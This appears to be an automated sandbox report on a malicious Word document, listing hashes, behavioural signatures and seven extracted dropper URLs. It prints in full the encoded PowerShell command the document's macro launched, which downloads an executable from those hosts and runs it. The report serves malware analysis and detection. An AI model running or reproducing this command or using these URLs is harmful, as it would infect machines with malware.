Analysis
-
max time kernel
117s -
max time network
118s -
platform
windows7_x64 -
resource
win7-20240903-en -
resource tags
-
submitted
25-09-2024 01:47
General
-
Target
f4e7d953e025517305153b5c50afc0c3_JaffaCakes118.doc
-
Size
210KB
-
MD5
f4e7d953e025517305153b5c50afc0c3
-
SHA1
81b5499424735a0ab1f30c8ddd2ab52308119d63
-
SHA256
f41df92a7bf31e22ac28e3e35cabf45f3be392f06c43b813eea05e2ca08f24bc
-
SHA512
1a1b8660b2bc32cba99fbe803f542680715cc572bd57f4d3541710f982c9a074e970c5c7f9916789a364217da5ebb0a94ec5830b6ffeabd197bd536faec8e868
-
SSDEEP
3072:0P22TWTogk079THcpOu5UZXN5kmcB/YNYsgU:E/TX07hHcJQZe0jj
Score
10/10
Malware Config
Extracted
Language
ps1
Source
URLs
exe.dropper
https://waytoger.com/wp-admin/w/
exe.dropper
https://jaguarssus.xyz/wp-admin/GfU/
exe.dropper
https://learnkalmar.com/wp-includes/VSZ/
exe.dropper
http://tiendapablus.net/cgi-bin/SIr/
exe.dropper
https://prsaze.com/wp-admin/7a/
exe.dropper
https://www.campuscamarafp.com/wp-admin/N/
exe.dropper
https://infolockerz.com/wp-content/x/
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
-
Blocklisted process makes network request 5 IoCs
-
Drops file in System32 directory 1 IoCs
-
Drops file in Windows directory 1 IoCs
-
System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
-
Office loads VBA resources, possible macro or embedded object present
-
Modifies registry class 64 IoCs
-
Suspicious behavior: AddClipboardFormatListener 1 IoCs
-
Suspicious behavior: EnumeratesProcesses 1 IoCs
-
Suspicious use of AdjustPrivilegeToken 1 IoCs
-
Suspicious use of SetWindowsHookEx 2 IoCs
-
Suspicious use of WriteProcessMemory 4 IoCs
Processes
-
C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\f4e7d953e025517305153b5c50afc0c3_JaffaCakes118.doc"1⤵
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\splwow64.exeC:\Windows\splwow64.exe 122882⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -en JABNAGEAaQAzAHYAMwB2AD0AKAAoACcAQwBzACcAKwAnADcAcgB6ACcAKQArACcAMwAnACsAJwBsACcAKQA7AC4AKAAnAG4AZQB3ACcAKwAnAC0AaQB0AGUAJwArACcAbQAnACkAIAAkAGUAbgBWADoAVQBzAEUAUgBQAFIAbwBGAEkAbABlAFwAbwBxAHYASQBfADQARQBcAFoAZgBJADUAQwBLAFgAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABpAHIAZQBDAHQATwBSAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMAYABlAGAAYwBVAHIAaQBgAFQAeQBwAFIATwBgAFQATwBjAG8ATAAiACAAPQAgACgAJwB0AGwAJwArACgAJwBzADEAJwArACcAMgAnACkAKwAnACwAIAAnACsAKAAnAHQAbAAnACsAJwBzADEAMQAsACAAdAAnACkAKwAnAGwAcwAnACkAOwAkAFAANQA5AHYAcABhAHcAIAA9ACAAKAAnAEoAJwArACgAJwBuADcAeAB2ACcAKwAnAGkAbwAwACcAKQApADsAJABGAHMAagByAHIANQBsAD0AKAAoACcAVwBkAHAAJwArACcAMwAnACkAKwAnADYAJwArACcAbgA0ACcAKQA7ACQAVAA0AHIAcwBwADEAawA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAoACgAJwB7ADAAfQBPAHEAdgBpAF8ANABlAHsAJwArACcAMAB9AFoAJwArACgAJwBmACcAKwAnAGkANQBjACcAKQArACcAawB4AHsAJwArACcAMAAnACsAJwB9ACcAKQAgAC0ARgAgACAAWwBDAGgAQQByAF0AOQAyACkAKwAkAFAANQA5AHYAcABhAHcAKwAoACcALgBlACcAKwAnAHgAZQAnACkAOwAkAFEAZQByADkAeAB2AGgAPQAoACgAJwBTAHEAJwArACcAegAnACkAKwAnAHAAYQAnACsAJwBzAGsAJwApADsAJABHADkAbwBfAHUAYwBqAD0ALgAoACcAbgBlAHcALQBvAGIAagAnACsAJwBlAGMAJwArACcAdAAnACkAIABOAGUAVAAuAHcAZQBCAEMAbABJAEUATgB0ADsAJABRAG8AbwByAGsAdwBuAD0AKAAoACcAaAAnACsAJwB0AHQAcAAnACkAKwAoACcAcwAnACsAJwA6AC8ALwB3AGEAJwApACsAJwB5AHQAJwArACgAJwBvACcAKwAnAGcAZQByAC4AJwArACcAYwAnACsAJwBvAG0ALwB3AHAALQBhACcAKQArACgAJwBkAG0AaQBuAC8AdwAnACsAJwAvACcAKwAnACoAJwApACsAKAAnAGgAdAB0AHAAcwAnACsAJwA6ACcAKQArACgAJwAvAC8AJwArACcAagBhAGcAdQBhACcAKQArACgAJwByAHMAJwArACcAcwAnACsAJwB1AHMAJwArACcALgB4AHkAegAnACkAKwAnAC8AdwAnACsAKAAnAHAALQAnACsAJwBhAGQAbQAnACkAKwAnAGkAJwArACcAbgAnACsAJwAvAEcAJwArACgAJwBmAFUALwAqACcAKwAnAGgAdAAnACkAKwAnAHQAJwArACcAcABzACcAKwAoACcAOgAvAC8AJwArACcAbAAnACkAKwAnAGUAYQAnACsAKAAnAHIAJwArACcAbgBrACcAKQArACcAYQAnACsAJwBsACcAKwAoACcAbQBhAHIAJwArACcALgBjACcAKQArACcAbwBtACcAKwAoACcALwAnACsAJwB3AHAALQAnACsAJwBpAG4AYwBsACcAKQArACgAJwB1AGQAJwArACcAZQBzAC8AVgBTACcAKwAnAFoALwAqAGgAJwApACsAJwB0AHQAJwArACgAJwBwADoAJwArACcALwAvAHQAJwApACsAJwBpACcAKwAoACcAZQBuAGQAJwArACcAYQAnACkAKwAoACcAcABhAGIAbAB1AHMALgAnACsAJwBuACcAKwAnAGUAdAAnACkAKwAoACcALwBjACcAKwAnAGcAaQAtACcAKQArACcAYgAnACsAJwBpAG4AJwArACcALwAnACsAJwBTACcAKwAnAEkAcgAnACsAKAAnAC8AKgAnACsAJwBoAHQAdABwACcAKQArACgAJwBzACcAKwAnADoALwAvACcAKwAnAHAAcgBzAGEAJwApACsAJwB6ACcAKwAoACcAZQAuAGMAJwArACcAbwBtACcAKQArACgAJwAvAHcAJwArACcAcAAtAGEAJwArACcAZABtACcAKQArACgAJwBpAG4ALwA3ACcAKwAnAGEALwAqACcAKwAnAGgAdAB0ACcAKQArACcAcABzACcAKwAnADoALwAnACsAJwAvACcAKwAoACcAdwB3AHcALgBjAGEAbQBwACcAKwAnAHUAcwBjACcAKwAnAGEAJwArACcAbQBhACcAKQArACcAcgBhACcAKwAnAGYAJwArACgAJwBwAC4AYwBvAG0AJwArACcALwB3AHAALQAnACsAJwBhACcAKQArACgAJwBkAG0AaQBuACcAKwAnAC8ATgAvACoAJwArACcAaAB0ACcAKQArACgAJwB0ACcAKwAnAHAAcwAnACkAKwAnADoAJwArACcALwAnACsAKAAnAC8AJwArACcAaQBuACcAKwAnAGYAbwBsAG8AYwBrAGUAcgAnACkAKwAoACcAegAnACsAJwAuAGMAJwApACsAJwBvAG0AJwArACgAJwAvAHcAcAAtAGMAbwAnACsAJwBuACcAKQArACcAdAAnACsAJwBlACcAKwAoACcAbgB0ACcAKwAnAC8AJwApACsAJwB4AC8AJwApAC4AIgBTAHAAbABgAEkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAEgAYwBuAGoAbAByAHgAPQAoACcATwBsACcAKwAoACcANQB5ADcAJwArACcAMwB0ACcAKQApADsAZgBvAHIAZQBhAGMAaAAoACQATwBfAGwAcQBjAGcAcQAgAGkAbgAgACQAUQBvAG8AcgBrAHcAbgApAHsAdAByAHkAewAkAEcAOQBvAF8AdQBjAGoALgAiAEQAYABvAHcAYABOAEwATwBhAGQARgBpAGAATABlACIAKAAkAE8AXwBsAHEAYwBnAHEALAAgACQAVAA0AHIAcwBwADEAawApADsAJABDADMAMABkADgAYgBjAD0AKAAoACcASAAnACsAJwBwADMAYQAnACkAKwAoACcAZgA4ACcAKwAnAGcAJwApACkAOwBJAGYAIAAoACgALgAoACcARwBlACcAKwAnAHQAJwArACcALQBJAHQAZQBtACcAKQAgACQAVAA0AHIAcwBwADEAawApAC4AIgBMAEUATgBHAGAAVABIACIAIAAtAGcAZQAgADIANwAxADkANwApACAAewAmACgAJwBJACcAKwAnAG4AdgBvAGsAZQAnACsAJwAtAEkAJwArACcAdABlAG0AJwApACgAJABUADQAcgBzAHAAMQBrACkAOwAkAFYAcwAzAGEAdQB1AGYAPQAoACcAVQAnACsAKAAnAG4AJwArACcAbQAyACcAKQArACgAJwB0ADAAJwArACcAMAAnACkAKQA7AGIAcgBlAGEAawA7ACQAUgBtAGkAdABnAHoAaQA9ACgAKAAnAFMAJwArACcAMAA3ACcAKQArACgAJwAxACcAKwAnAHgAdQAnACkAKwAnAHkAJwApAH0AfQBjAGEAdABjAGgAewB9AH0AJABNADYAYwBqADIAYQB0AD0AKAAnAFUAeAAnACsAKAAnAGUAJwArACcAegAxACcAKQArACcANwAzACcAKQA=1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
19KB
MD5eb3fa1c9c4a0f0dd3bc2e15beb24daab
SHA1e1911cc8954254461703ff422b13bb2e456d739b
SHA2564d9ce3588252f63a5168683c57a0b535395ad2f95407a16691ab0c5c4800abd7
SHA512f4a5ab79446181b9af62218b7735ae308e2a11dce7b6cc4f391e570b645968fb0703e03b13710bf227bf95c4f34411ae273096c123007c4eb242bb22a2d56d5b
-
Filesize
1024KB
-
Filesize
44KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
44KB
-
Filesize
4KB
-
Filesize
64KB
-
Filesize
44KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
64KB
-
Filesize
2.9MB
-
Filesize
32KB